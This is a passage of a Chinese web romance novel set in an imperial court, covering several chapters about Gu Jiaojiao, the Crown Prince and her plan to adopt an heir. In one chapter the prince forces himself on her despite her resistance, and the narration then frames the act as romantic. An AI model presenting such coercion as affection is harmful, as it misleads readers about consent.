“平王若真是有意带你出去,又怎会连一点消息也不给你?想来,你四处打听,也都不知道,你那个侍女已经被打发回你母家了吧?” “你胡说,冬儿是我的陪嫁,她不会……” “是啊,你是平王妃时,陪嫁丫头自是与你同在王府,可如今那丫头被发回母家,意味着什么,你还不清楚吗?” 意味着平王不在王府留下她的痕迹。 平王妃一个瘫坐在地,慌乱之余,也死死的瞪着顾皎皎。 “顾皎皎,你我之间从未有什么深仇大恨,你何至于如此狠毒?” “平王妃健忘,我们之间,怎会没有深仇大恨?” 顾皎皎缓缓起身,笑意散去,眉眼间瞬间袭上一抹冰冷。 平王府的种种,也并未过去多久,顾皎皎的身上可还是有伤的。 “可你终究是没有怎样?现在不还是好端端的站在这里?” 平王妃昂着头,竟说的理直气壮。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百五十五章 与你开个玩笑 “我好端端的站在这里,不是因为你和平王仁慈,而是因为我被太子殿下所救,同为女子,你当时不知那些事发生在我身上,会有什么后果吗?” 顾皎皎冷冷的睨了她一眼,丝毫不掩饰眼中的厌恶。 “我母家,我母家终也会是救我的,他们……” “偷拿奏折,给太子下毒,敢问令尊真的会冒着全族皆灭的风险来救你?” “你……你怎么知道?你,竟然是你。” 平王妃永远都想不通,顾皎皎是如何能做到在皇宫之中动手脚的。 顾皎皎自不会解释,转身抬头看着这满殿神佛。 佛像威严,受香火供奉,每个来到此处的人,怕都是真心祈愿,可是能如愿的又有几人? “罢了,我今日来也只是看看你,曾经高高在上的王妃,如今跌落尘埃,也正应你当初的那句话,身份低微就活该被人践踏,平王妃,保重。” 顾皎皎缓步跨出门外,在走出这大殿的那一刻,她听到里面传来撕心裂肺的哭声,这哭声里带着愤恨,带着不甘,也带着绝望。 顾皎皎停下脚步,抬头看向天空。 今日天气倒是不错,湛蓝的天空,万里无云,阳光也暖暖的,只是到底身处冬季,顾皎皎不禁紧了紧身上的斗蓬。 “姑娘,来,拿着。” 莺儿从不远处跑过来,将手炉塞进了顾皎皎的手中,她估摸着顾皎皎快出来时,便去给手炉换了些炭,正好暖着。 “姑娘,平王妃真的离不开这里了吗?” 莺儿轻声询问。 顾皎皎摇了摇头。 “她能不能离开,不在于别人,只在于平王,若是哪日平王想起她这位妻子,平王妃便可回王府了。” “什么?那她回去了一定会对发姑娘不利的。” 顾皎皎习惯性的抬手点了点莺儿的头,笑的灿烂。 “傻丫头,平王妃已然失去了利爪,就算她回到平王府,也只是纸老虎了。” 这些年平王妃明里暗里帮平王做了许多事,可大难临头之时,平王甚至都没有想过要保她一下,而只是为了自己的位置独善其身。 平王妃不是傻子,就算有朝一日回到平王府,也是另一番景象了。 “听姑娘这样说我就放心了,姑娘,时辰不早了,我们也该回去了。” 毕竟顾皎皎的伤才好一些,这劳碌奔波总是对她身体无益。 顾皎皎也微微点头,向台阶下走去,只是没走两步,身前突然蹿出一个身影,将她们主仆二人吓了一跳。 “双瑞,你要死啊,吓死人了。” 莺儿惊呼出声,瞪着眼前的人,小脸儿都吓得惨白。 双瑞则嘿嘿的笑着。 “顾姑娘恕罪,旁边的雪有些滑,属下一时没有站稳。” 双瑞被骂,竟难得的没有生气,还客气的在解释。 顾皎皎看了一眼莺儿,目光最后才落到双瑞身上。 “你这是跟着我呢?” “不不,殿下来了,在后院的禅房,请姑娘过去一叙。” 一叙? 顾皎皎一直在家中养病,细算下来今日也是第一次出门,可在这偏远的京郊,竟还能遇到当朝太子,也不知是巧合,还是某人有心。 “带路吧。” 顾皎皎自是知道自己是逃不掉的,只好跟着双瑞向后院走去。 这寺庙的禅房倒是雅致,陈设简单,屋子里明亮干净,淡淡的檀香充斥着整个屋子,也不觉得呛得慌。 不过,当看到斜卧在榻上的人时,顾皎皎在心底暗自惋惜。 这沈云祉当真是打破了这份美好。 一身月白色的云锦,腰间配饰价值连城,那张好看的脸,以及脸上挂着的若有若无的笑,都与这间禅房格格不入。 “太子殿下也来求姻缘?” 顾皎皎难得的未行礼,直接坐了下来。 相比外面的寒冷,这屋子倒是极暖。 “顾姑娘中气十足,看样子伤好的差不多了。” 沈云祉挑了挑眉毛,不等顾皎皎说什么,他便又继续开口。 “见过那人了?可还满意?” 他指的平王妃。 顾皎皎心里一惊,他竟知道她此次过来的目的,看样子,不是巧合,他是有意出现在这里的。 “还好吧,说起来,平王妃这事还要多谢太子殿下,民女在此谢过。” “你这谢也隔的太久了,而且,也太敷衍了些。” “殿下是何等人物,民女这里也实拿不出什么,也只能口头上谢谢了。” “你可以将你送给我当谢礼啊。” 话音落下,顾皎皎一口茶从口中喷出来。 这一局,她落了下风。 “那个,太子殿下是有什么事要吩咐吗?赈灾之事一切顺利,不出十日,他们便可抵达灾区。” 她这话题转的有些生硬,她自己也觉得,所以当沈云祉笑出声的时候,她也只能装出视而不见的模样。 “灾区的事,每日都有人汇报,我自是知晓,今日过来,只是因许久未见你,特意来看看你。” 他这话也说的太直白了些。 他的目光炙烈,拄着头,看着她时,唇角的笑竟还显得有些媚惑。 顾皎皎还是不由自主的脸红,目光也移向别处。 “太子殿下可真会开玩笑。” 她还能说什么? 这沈云祉就是个无赖。 “玩笑?那便与你开个玩笑。” 沈云祉突然起身,几步便走到顾皎皎面前,高大的身躯直接将瘦弱的她笼罩。 顾皎皎瞪大眼睛,想逃已经来不及了。 沈云祉俯身下来,两只手扶着椅子的两边,将顾皎皎完全圈在自己的怀抱里。 “多日不见,姑娘不想见我?” 他的眉眼透着狡黠,高挺的鼻梁如刻在脸上一般,而他带着笑意的红唇与她之间离的过于近了些,甚至可以感受到他呼出来的热气。 顾皎皎身体后倾,躲着他,耳边却瞬间红了起来。 “这,这里是寺庙,太子殿下自重。” “寺庙?顾姑娘莫不是忘了?当初你与我就是在……” 沈云祉话未说完,就被顾皎皎捂住了嘴巴。 她掌心温热,面颊绯红,但是投过来的目光却像是要杀人一般。 “再敢说一句,我杀了你。” 她确实有杀人灭口之心。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百五十六章 心知肚明 沈云祉不惧威胁,再次靠近。 顾皎皎紧紧的闭上眼睛,一副任人宰割的模样。 咚咚咚。 “殿下。” 双瑞的声音从门外响起。 沈云祉缓缓站直身体,没有让人注意到,他眼底的炙热也在渐渐消散。 “进来。” 沈云祉开口。 双瑞进了门,除了顾皎皎绯红的脸颊,他并未看出异样。 双瑞走到沈云祉身边,在他耳边小声的说了些什么,而后便退了出去。 “我欲回宫,让人送你回去。” 沈云祉转头看向顾皎皎,声音里也多了一些柔和。 顾皎皎立即起身,恭恭敬敬的行了个礼。 “多谢殿下,不过不用了,民女的马车就在山下。” “倒是乖了不少,也罢,那回去小心。” 沈云祉转身离去。 这屋子似是一下子就空了许多,顾皎皎长长的吁了一口气。 其实,有的时候,她看不懂沈云祉,他时常暧昧,时常关心,甚至不顾一切救她,可他从未对她说过任何表达心意之言。 他这个人,处处让人觉得深不可测。 “姑娘怎的一个人在这儿发呆啊,是殿下说了什么吗?” 莺儿的声音将顾皎皎的思绪拉回现实。 她笑了笑。 “没什么,回吧。” 她自己那些奇奇怪怪的想法,实在无法说出口。 另一边。 沈云祉已然在回宫的路上。 “首辅为何今日会进宫?” 沈云祉骑马前行,看了一眼身侧的双瑞。 “属下不知,王福传信出来,首辅突然造访,本是打算说太子今日不见外臣,首辅却留下了,说等到殿下召见为止。” 双瑞答道,又似是想到了什么,继续开口。 “殿下出宫之事,怕是不能让首辅大人知道。” 自然不能。 沈云祉出宫本不是什么大事,但首辅若以此来调查,便会查到他与顾皎皎见面,到时后患无穷。 “本殿下并未出宫。” 沈云祉沉声说道,而后喊了一句‘驾’,加快了速度。 东宫。 首辅大人足足等了两个时辰,才将沈云祉等回。 “大人久等了,不小心在皇上寝宫睡着了,这些该死的奴才竟然未通知本宫,还劳动大人等了这许久。” 沈云祉说着时,还转头狠狠的瞪了王福一眼。 王福是个机灵的,立刻心领神会,扑通一声跪到了地上。 “殿下恕罪,奴才想着殿下昨夜陪着皇上未睡,好不容易小憩一下,未敢扰了殿下,奴才该死,奴才该死。” 王福跪在地上不停的磕头。 “罢了罢了,滚下去。” 沈云祉不耐烦的摆了摆手,才坐下来。 “殿下言重了,老臣本就是不请自来,殿下未曾怪罪,实属老臣之幸。” “首辅大人这般说便是见外了,这东宫您想来便来,哪有什么不请自来之说。” 沈云祉吩咐人上了茶,才又看向首辅。 “大人可是有要事?” “也不算是要事,但也确实是老夫的心病,这份折子,还要烦请殿下转交给皇上。” 如今皇上身体越发不好,每日醒着的时间并不多,为了让皇上安心养着,便不再允许外臣面圣,能见到皇上的也只有沈云祉了。 “好,定如大人所愿。” 沈云祉甚至没有问那折子里的内容,便直接收下,这倒是出乎首辅的意外。 “殿下不看看里面写了什么?” “大人这般说,可就是侮辱我了,首辅于我而言亦师亦友,还有什么信不过的?” “老臣多谢殿下如此信任,但也是要将折子的内容说与殿下的,老臣想着,待皇上龙体好些,便可给殿下与老臣的孙女赐婚,到时也是名正言顺。” 此话一出,沈云祉面色如常,但拿着那折子的手还是紧了紧。 首辅目光坚定,很明显主意已定,也是让沈云祉再无推脱之词。 “还是首辅大人考虑周到,如此一来,我也会同父亲商量,由父亲出面向皇上提及此事,也更正式一些,不会委屈了赵姑娘。” 天下子女姻缘,多半是父母之命,媒妁之言,沈云社这般提议,更让首辅满意。 “殿下人中龙凤,原是苎儿高攀,何来委屈之说,老臣已经年迈,好在家中后嗣还可为殿下效力,不然也不敢高攀这门婚事。” 姜还是老的辣,首辅三言两语便表明了日后的立场。 所谓后嗣,自是首辅这些年积累下人脉与势力,而赵蕴苎便是牵扯这些势力的源头。 沈云祉不是傻子,自然听得懂。 “本宫初登太子位时,若不是首辅大人鼎力相助,也无法安稳,何况首辅大人府中出来的姑娘自是不凡,若论高攀,怕是本宫高攀了赵家姑娘才是。” 来来回回的都是这些客套话,但这场婚事的目的,他们彼此心知肚明。 首辅是在东宫用了膳食后才离开,为显亲密,沈云祉还赐了许多东西,大多都是女子所用之物。 这皇城,看似繁华巍峨,可暗潮涌动,从未停止。 翌日。 顾皎皎欲在外收养继人之事,慢慢的在京中传开,尤其是第一楼里,大多人都在闲谈议论。 “这顾掌柜的家业可是不少,若是谁成为了顾府的人,日后可不愁吃穿了。” “那也不是谁人都可以的,人家顾掌柜放出话了,只收养孤儿。” “你们说,这顾掌柜年轻貌美的,如此行事,莫不是不再嫁人了?” “试问,还有哪家儿郎娶得起这位顾掌柜啊。” …… 顾皎皎倚靠在第一楼二楼的柱子后,听着那些议论,微微扬起嘴角。 她就是要告诉全天下,她终生不再嫁人,只做好自己的生意,让顾府有个继人就足矣了。 “姑娘,又收了几份拜贴。” 莺儿拿着拜贴走了过来,情绪不高,可见这些人中也没有可用的。 “不合适拒子就是了,你干嘛这副表情?” 顾皎皎无不打趣的说道。 “奴婢只是为那些孩子不值,也不曾见过世间竟有如此邪恶之人,心里堵得慌。” 莺儿微低着关,难过就摆在脸上。 近几日,有想过继子嗣的人都要经莺儿看一遍,也正是因为这样,她才看到了人的用心险恶。 幼子无辜,可那些人的眼中却只有利益。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百五十七章 给我一个交代 莺儿奉命接触了很多前来过继续子嗣之人,甚至有一些她还亲自去看过,结果令人失望。 这些人中,有一些干脆是将自己的孩子推出来,那些孩子年纪尚幼,回答出的问题,也都是大人们教过的。 更有甚者,在被莺儿拒绝后,他们竟当场对孩子打骂,小小幼儿,只因为这一场经历,不知会留下怎样的阴影。 莺儿每每想到此处,都会心疼不已,这几天心情也不是很好。 “好了,你啊不适合做这些,让馨儿回府吧,由她来负责此事。” 顾皎皎知道莺儿幼年过的不甚如意,看到那般场景,便会联想到自己,自然是心中悲痛。 “好,我也确实看不得那些。” 莺儿微着头,声音都有些低。 夜幕降临,馨儿跪在顾皎皎面前。 “馨儿给姑娘请安。” “快起来,让我看看。” 顾皎皎将馨儿从地上拉起,拉着她的手臂从上到下打量了一番。 “几年不见,果真出落成大姑娘了,只是也让你受委屈了。” “姑娘莫要说这样的话,当年若不是姑娘救了我和娘亲,我们早就饿死街头了,也没有机会像现在这般报答姑娘。” 馨儿眼圈泛红。 大约四五年前,那时顾皎皎还未嫁入安阳候府,随父亲一同处理生意上的事。 馨儿也只有十一二岁的年纪,她的母亲病重,她带着母亲来到京城想找名医,可谁知一入城便将身上仅有的银两弄丢了。 母女二人本就无地可去,无处容身,偏偏还被恶霸盯上,差点将馨儿拖去那烟花之地,幸得顾皎皎路过相救。 顾皎皎在大街之上给了她们银钱,又命人给她们找了住处,原想着只是随手做了一件好事而已,却不想第二日馨儿便找上门了。 馨儿感激顾皎皎,愿意跟随为奴为婢,她还说她年纪虽小,却会武,可以做很多事情。 到现在为止,顾皎皎还记得馨儿那时坚定的目光,灵动的眸子里,是她那个年纪不相符的坚定。 后来,顾皎皎留下了她,由王吉带着学习一些事务,近两年这丫头已经能独当一面了。 “又说这种话,来,快坐下,你母亲可安顿好了?” 顾皎皎拉着她坐在软榻之上,轻声询问。 “是,都安顿好了,是王吉兄长亲自安排的,日后我便可以一直服侍姑娘,不必操心阿娘了。” 馨儿笑起来很好看,两个浅浅的酒窝很甜。 也正是因为她长了一张甜美的脸,所以才可以迷惑很多人,毕竟她出手时,可是从来不留情的。 “姑娘日日都盼着你过来呢,上次醉月楼的事后,姑娘一天也问好多遍你的情况,生怕你出什么意外。” 莺儿从门外走进来,端了许多糕点,还有一杯牛乳茶,都是馨儿爱吃的。 “我也是惦记姑娘的,也想当面问问姑娘,当初是否有眼疾,所以才选了孙协兆那个废物。” …… 屋子里瞬间安静下来,哦不,是死一般的寂静。 忘了说了,这馨儿什么都好,就是嘴毒,特别毒。 顾皎皎一脸尴尬,轻咳了一声。 “快吃些点心,你今日忙碌了一日,早些休息,房间我已经让莺儿给你收拾好了,一会儿看看,还缺什么便跟莺儿说。” 顾皎皎缓缓起身,向自己的寝室走去,再留下去,这丫头还不定会说些什么。 “谢谢莺儿姐姐。” 馨儿并未放心上,抬头冲莺儿笑着。 莺儿年长她几岁,原本是大大咧咧的性格,现下跟馨儿一比,倒显得稳重了许多。 “快吃吧,后面还有。” 莺儿轻笑,不知道是在高兴,还是在笑顾皎皎。 馨儿回来后,那认子嗣之事就顺畅多了,她立了规矩,但凡是欺骗意图蒙混过关的,皆会被她打一顿。 在她实践过几次后,上门来的人确实少了许多。 对于这个结果,顾皎皎倒是很满意。 不过,顾府要过继子嗣的事闹的太大,大到惊动了沈云祉。 沈云祉暗夜上门,冷着一张脸,盯着顾皎皎,似是盯着什么恶魔一般。 顾皎皎看了看身侧的莺儿和馨儿,低声开口。 “你们先出去吧,不要让其他人靠近。” 莺儿与馨儿也是一脸懵,毕竟这位太子殿下可是翻窗而入的。 “是。” 她们二人应下后便离开了,还将外间的房门带上。 “太子殿下又是深夜出宫,又是如此气势汹汹,莫不是民女哪里得罪殿下了?” 顾皎皎深知他的来意,却故意装出不懂的模样。 只是,令她万万没想到的是,沈云祉在她话音落下之时,便直接走到她面前。 他修长的手指捏住了她的下巴,应是用了些力道的,所以顾皎皎才因疼痛皱起眉头。 “顾皎皎,子嗣之事,你最好给我一个交代。” 沈云祉声音清冷,漆黑的眸子里是望不到底的深渊。 他向来冷静自持,即使是朝堂大事上,也可镇定对待,可现在的他,如一头发怒的狮子,隐忍着,却也可能随时爆发。 顾皎皎迎着他的目光,未有一丝退缩。 “顾夜之事,为何要与殿下交代?殿下莫不是管的太多了些?” 她下巴处的手在收紧,她可以感觉到,可她不能求饶,不能认输,不然所做的一切都会前功尽弃。 “你敢再说一次。” 沈云祉眸子微动,紧抿的薄唇都让人觉得异常冰冷。 “与太子殿下无关。” 顾皎皎还是强硬的再次说道。 她的这句话彻底将沈云祉激怒。 沈云祉甚至没有再有多余的话,而是拉起她的手臂,便直接向内室走去。 “沈云祉,你放开我。” 她再一次直呼他的名字,可他似是没有听到一样。 顾皎皎没有他那般的力气,只在他甩手间,整个身体便倒在床榻之上。 此时,她才意识到情况不对。 “沈云祉,你疯了吗?我……” 顾皎皎话还未说完,沈云祉已经俯身上来,将她压在身下。 “你想与我撇清关系,做梦。” 沈云祉眼睛微红,红的妖艳,他的话听上去像极了某种回音,让顾皎皎大脑一片空白。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百五十八章 两情相悦 顾皎皎的挣扎毫无作用。 沈云祉霸道的吻落在她的唇间,他宽厚手在她的身体上游走,最后,她听到了自己的衣衫被撕裂的声音。 顾皎皎没有喊人,因为她知道,外面的人不能将沈云祉怎样。 沈云祉在她身上,禁锢着她,也丝毫没有怜惜她的样子,也更像是将他心底的怒火都发泄在了她的身上。 这间屋子里,由开始的互相抵抗,到彼此的相濡以沫,不知过了多久,才陷入宁静。 沈云祉躺在她的身侧,抬手轻拭掉她眼角的小珠。 顾皎皎微微侧头,离开他的手。 “不要再过继什么子嗣。” 沈云祉沉声开口,语气里透着一丝郑重。 顾皎皎看着床榻之上的帷幔,嘴角袭上一抹苦笑。 她如今的处境就是这般,无法逃离沈云祉,却也无法真正的留在她身边,身份使然,也是天命如此。 “殿下,你今日举动,言语,都是民女不懂的,殿下身边缺女子吗?” 顾皎皎收起脸上的悲凉,转头看向沈云祉。 从某种意义上来讲,这应该算是他们第二次同床共枕,上一次虽然彼此都被下药,却也确实有了肌肤之亲,而这一次…… “你明知我并非好色之人,我会给你身份,自是会对你负责。” 沈云祉很郑重。 他那双眼睛真的好看,幽深着让人望不到底,却可以沉沦,沉沦到让人什么都想听他的。 这一刻,顾皎皎是有被触动的。 她是商户之女,又曾许配人家,她这等身份,原是连太子的外室都不配的,可他却说要给她一个身份,这已然是极为难得了。 可那又怎样呢? 日后还不是一样被人诟病,诋毁,甚至还可能因为他们二人之事,影响他的朝政。 顾皎皎不想看到那样的场面。 “殿下准备给民女什么样的身份?太子妃?” 顾皎皎突然扬起笑脸,只是这笑里透出一丝嘲讽。 沈云祉眉头紧锁,抿着唇,半晌没有说话。 他给不了。 顾皎皎也不矫矜,从床榻上坐起身,背对着沈云祉,而她身上的疤痕还有些浅浅的痕迹,依旧那般触目惊心。 她从一边扯过一件未被撕破的衣衫穿在身上,光着脚走下床榻。 “殿下应是不能臣女想要的身份,既如此,又何必说什么负责不负责的话呢?” 她转身看沈云祉一眼,走到桌前给自己倒了一杯茶,她忍着心中的悲痛与沈云祉周旋,只是为了让彼此日后的日子都好过。 沈云祉起身,坐在床榻之上,投过来的目光也带着些许冰冷。 “你知道,太子妃之位只能是赵蕴苎,但我也必不会委屈于你,仅在她之下,给你侧妃之位。” 这算是荣耀的吧。 沈云祉的目光里难得的有些期待,但他等来的却是顾皎皎满是嘲讽的笑容。 “侧妃?妾室?” 她停顿了一下后,歪了歪头,又轻声开口。 “殿下心悦民女吗?” 沈云祉眉宇间渐渐的袭上一抹冰冷。 “顾皎皎,莫要胡闹。” 他没有给她想要的答案。 他就是这样的人,在万事没有定下前,自不会轻易许诺,男女之情于他而言,也需要万般谨慎。 顾皎皎没有意外,她多少还是了解一些沈云祉。 “殿下不答,自是为难,那民女也便直言了,哪怕我身份低微,也不做妾室,无论是东宫侧妃,还是日后的皇室贵妃,民女都瞧不上。” 她目光坚定,看着那张脸,一字一句清晰的说着自己的想法。 “你明知道,太子妃之位……” “我知道,首辅是太子殿下在朝堂之上的左膀右臂,立赵蕴苎为太子妃,是身份对等,也是稳定前后宫。” 对,她知道,可这并不意味着她能接受。 “所以,民女愿远离殿下,与殿下再无瓜葛,民女虽身份上不得台面,但恰巧可以选择自己的人生,民女绝不为妾室。” 沈云祉终是忍不了,起身下榻,将衣衫套在身上,直直的站在顾皎皎面前。 “你知道你在说什么吗?我知你心高气傲,可两情相悦,不是更为重要吗?你既知我的无奈,不也应该理解吗?” 他从未像现在这般失态过,腥红的眸子里难得的透出不甘的神色。 夜里的冷风吹过,吹动了窗子,一股寒意也袭卷而来。 顾皎皎缩了缩脖子,起身将窗子关严。 “所谓两情相悦,是伉俪情深,是举案齐眉,民女虽然是商女,却从未听说哪个郎君是与妾室举案齐眉的。” 她走到沈云祉面前,抬眼看着他那张俊朗的脸,不再有丝毫退缩。 “太子殿下,我无意于太子妃之位,也不甘心为人妾室,殿下给不了民女想要的,民女也不能如殿下所愿,殿下,放过民女吧。” 她的话在这房间里久久回荡。 眼前的男子一个字都没有再说,只是冷冷的看着她,而后愤然离去。 顾皎皎站在原地,身上只是穿了一层薄薄的里衣,许久,她都没有挪动半分。 她原想着,从安阳候府离开,便再不会对任何男子动心,可偏偏出现了一个沈云祉。 她是可以为了他去做任何事的,只是与他人共享同一夫君,日后会在深宫内苑,争风吃醋,痛苦难堪,是她无法承受的。 他问她,为何不能理解他? 她是理解的。 “姑娘,你没事吧。” 莺儿的声音轻轻响起,将顾皎皎的思绪拉回现实。 “没事,收拾一下吧。” 顾皎皎扯动了下嘴角,向床榻边走去。 莺儿心疼不已。 刚刚看到沈云祉拖着衣服离开,现下这屋子里又是这样的场景,满地的衣服,凌乱不堪,莺儿已经猜到发生了什么。 她没有问,也不会让任何人知道,她知道她家姑娘与太子的纠葛,可也终要护住顾皎皎的名声才是。 莺儿没有叫其他人进来,而是自己一个人快速的收拾着屋子。 顾皎皎没有再说话,轻闭着眼,似是睡着了。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百五十九章 并非小事 沈云祉近来脾气不好,即使是在朝堂之上也动不动发火。 以前,为了稳固朝堂,他还会敷衍一下那些大臣,而现在只要是有大臣再无中生有,他便在朝堂上直接发火。 也有一点好处,倒是让那些大臣收敛了一些。 云南王在东宫等着沈云祉下朝。 “你近来是否有什么心事?就连首辅都问过我几次了。” 云南王不习惯皇宫的生活,至今为止都自己住在一处偏僻的院子,若不是涉及到他的儿子,他也不愿来东宫这般吵闹的地方。 “没什么事,只是见那些大臣不思政务,只为找茬,心里不痛快。” 沈云祉一副不以为然的模样。 云南王长叹了一口气。 “你自小到大是个什么脾性,为父还能不知道?大臣们在朝堂上挑你错处是不假,可你接连几日在朝堂上发火,未免太过了。” “我知道了。” 沈云祉微低着头,随口一应。 从他这敷衍的态度也可看出,他根本没有将云南王的话的听进去。 “云祉……” “父亲,莫要说了,您说的我都明白。” 说着,沈云祉便站起身,还向云南王行了个礼。 “今日起的极早,儿臣去睡会儿。” 沈云祉头也不回的走掉了。 云南王看他离开,又忍不住眉头紧锁,他身为父亲自然看得出沈云祉的烦躁。 云南王向双剑双瑞打听沈云祉的情况,却并没有得到什么有用的消息,而在王福那里也只是能了解到沈云祉的吃喝之事。 没查到什么的云南王也并未放弃,开始暗中调查沈云祉的情况。 当父亲的,必定是担心的,总要查清楚。 顾府。 又有许多人上门,只为求过继子嗣,大多都被馨儿赶走了,但也有二位留了下来,被带到顾皎皎面前。 这二人是一对年轻夫妇,应该是穷苦人家务农之人,二人的身上皆带着补丁,但却极为干净,而在这二人身侧,站在一个小男孩。 男孩儿年纪不大,但投过来的目光却是极为愤怒的,浓眉大眼,一副机灵相。 “顾姑娘,我们夫妇二人前来实属无奈,只是为这孩子求一份前程。” 那妇人跪在地上,低声恳求,她身侧的男子只是微低着头,没有说话。 “他是你们的儿子?所谓前程,是希望他日后光耀门楣?” 顾皎皎的声音淡淡的,目光也一直落在那孩子身上。 “不不,民妇不敢这样想,孩儿大了,家里穷,只希望他日后有机会诗书识礼,便罢了。” 妇人一脸真诚,抬头迎向顾皎皎的目光。 从她的眼中可以看出,她说的都是实情,只望孩子有书读,不求荣华富贵,倒是少见。 “你倒是实诚,只是你们应该知道,我收养继子,是有要求的……” “是是,我们知道,这孩子,原是大伯家的孩子,我们是他的叔叔婶婶,他刚出生父母便相继离世,一直由我们抚养。” 妇人轻声说着,似是怕那男孩儿心里不好受,还轻轻牵起了他的手,才继续说了下去。 “若只是吃食,我们夫妇二人有手有脚自是可以将孩子抚养成人,只是孩子大了,需要诗书识礼,我们也实在是……” 穷苦人家的孩子,能上起得私塾的并没有多少,这倒是让顾皎皎动容。 而那个小男孩儿,只有在看着那妇人时才会显得乖巧。 “你叫什么名字?” 顾皎皎看向那男孩儿,微笑着询问,只是换来的却是不悦。 “我不要到你这里来,我长大了,要跟着叔叔婶婶,婶婶病了,我可以做工给婶婶治病。” 小小年纪,很有胆色,高昂着头,一副与顾皎皎对峙的模样。 他这般倒是让顾皎皎觉得自己的眼光没错。 她没有逼问那个孩子,而是看向那妇人。 “你病了?” “是,若不是这身子不中用,我们也断断不会将孩子送出来。” 妇人忍不住落小,又似是想到了什么,继续说道。 “哦对了,这孩子叫生子,我们都没读过什么书,也没有正经取过名字。” 从始至终那个男子都没有说话,但他的神色上满是自责,他大约也是在怪自己,连孩子都护不住。 “我不要,我不要当别人的孩子,我也不要……” “生子。” 那妇人略显愤怒的喊了那孩子的名字,很明显,她平时一定没凶过这孩子,所以那男孩儿的眼圈开始泛红。 妇人心疼,握着男孩儿的手又紧了紧,眼神看过去似是安慰。 她这些小动作都没有逃过顾皎皎的眼睛。 “顾姑娘,孩子还小不懂事,他很聪明的,也有孝心,自然,也有些不足,都是我们没有教导好,可是……” 那妇人眼中透着急切,似是怕男孩儿的话惹怒顾皎皎,也怕她说的不够诚恳,让眼前这位漂亮的女子反悔。 “无妨,只是,此事并非小事,我暂时定下这孩子,但也需要一段时间磨合,你们可有意见?” “没有,没有任何意见,多谢顾掌柜。” 那妇人竟直接磕了个头。 顾皎皎让莺儿将人扶起,而后让那对夫妇先带孩子回去,她需要安排一下。 顾皎皎对那个孩子很满意,对这个家庭也觉得很好。 随即,顾皎皎便让莺儿公布下去,说顾家已然找到了要收养的人。 与此同时,顾皎皎这边的消息也被送到了沈云祉面前。 “属下查过,那家人确实家世清白,那对夫妇对那孩子一直也是极好的,就是贫苦了些。” 双瑞汇报着关于顾皎皎认子的情况。 沈云祉微低着头,面前的奏折堆积如山,手中的笔也未停下片刻。 “她的眼光向来是极好的。” 沈云祉沉声开口。 “只是那孩子不愿意,虽穷苦了些,倒是有些志气。” 双瑞又补了一句。 沈云祉这才停下,缓缓抬起头,清冷的面容上又似往常一样袭上了一抹若有若无的笑意。 “不愿意?不愿意好啊。” “殿下说什么?” 双瑞觉得自己是听错了,又马上问了一句。 “许久未出宫了,我要去查看一下产业,准备一下明日出宫。” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百六十章 无赖就无赖吧 沈云祉找了一个好借口,可双瑞明明知道,他的太子殿下是前几日才溜出宫的。 翌日。 顾皎皎前往了那个孩子的家。 不过,她没有下马车,只在一旁看着。 那是一个简单的小院,院子不大,只三间房,从外面看,院子倒是干净整洁,却显得简陋。 正值冬季,天气寒冷,可那个男孩儿就在院子里的水井处打着水。 他到底还是小了一些,一桶水打上来,显得极其吃力。 正在此时,那妇人从屋子里走出来,看到一旁的场景,立即跑到男孩儿身边帮忙。 “生子,不是说你不要做这些事吗?你还小。” “婶婶,我已经不小了,您放心等开春我就和叔叔一起去山里打猎,定将您的病治好。” 男孩儿仰着小脸儿,说的认真。 人们都说,穷人的孩子早当家,在此时倒是展现的淋漓尽致。 “生子,乖,你这个年纪不该为银钱操心,该好好诗书,将来考个状元,才能出人头地。” 那妇人停顿了一下,抬手抚摸着男孩儿的头,又继续道。 “婶婶知道你舍不得家里,但那顾家绝对是一个好去处,婶婶也打听的了,顾掌柜是温厚善良之人,绝不会苛责于你。” “我不去。” 生子抬脚便跑回了屋里。 “这孩子……” 妇人轻叹了一口气,无奈的摇了摇头,拎着那桶水准备回屋时,却看到不远处从马车上下来的人。 妇人立即迎了过来 “不知顾掌柜前来,有失远迎了,快请进。” 顾皎皎走进院子,但没有进屋,因为她看到窗子处的那个小男孩儿正一脸敌意的看着她。 “我也只是路过,听馨儿说你们住在此处,便买了些东西过来。” 莺儿从她身后走出,将两个大包裹递了过去。 妇人迟疑着才接下来。 “这……这怎么好意思?” “不是什么贵重之物,一些吃食与衣料,还有一些补品。” 顾皎皎还是看了看屋子的那个男孩儿,冲他笑笑,那男孩儿却头也不回的离开了窗子处。 “外面冷,姑娘进去坐坐吧。” “不了,我还有事,就不坐了,过两日我再过来。” 顾皎皎浅笑,微微点头后离开。 顾皎皎的到来,也引起了这家人左邻右舍的注意,很快大家也都知道,这人人不喜的生子,竟然被顾掌柜看中。 人嘛,会羡慕,会嫉妒,更会因自私而做出什么恶毒的事来。 顾皎皎离开了这间小院儿,前往第一楼。 “那孩子是极好的,只是到底对姑娘有介心,日后会不会不好教导?” 莺儿与馨儿同在马车之上,馨儿是防备心极重的人,不免心生疑虑。 “他被叔婶养育多年,若是一下因为有好日子便投到我这里,我反倒会担心,这也可见这孩子虽然年幼,却也是重情重义。” 顾皎皎解释着,他看中这男孩儿可不仅仅是因为她聪明,更因为他的品性。 “姑娘思虑周全。” 馨儿笑的灿烂,两个大大的酒窝给人一种甜甜的感觉。 马车停下。 主仆三人刚下马车,店里的伙计就跑了过来。 “姑娘,太子殿下来了。” 这一句话,让顾皎皎差点没站稳,转身便欲逃跑。 “姑娘,殿下说,如果你走了,让我们歇业一天。” 伙计紧接着补了一句。 看样子,沈云祉是极其了解顾皎皎的。 顾皎皎只能又淡定的转回身,勉强的挤出一丝笑,抬脚向第一楼走去。 二楼的房间里,沈云祉悠闲的品茶,一副不将自己当外人的模样。 顾皎皎心里暗藏着一口气,却还是想打发了他。 “太子殿下万安。” 她微微欠身,却也只是站在门口处。 沈云祉抬了抬眼帘。 “进来,关门。” 他的声音很轻,不像是命令,却又让人拒绝不了。 顾皎皎趁他不注意,偷偷瞪了他一眼,关上门,走到他身侧。 “太子殿下突然造访,可是有什么要事?” “我每次来,你都这样问,以我们这等关系,非得有要事才能来找你吗?” 什么叫,这等关系? 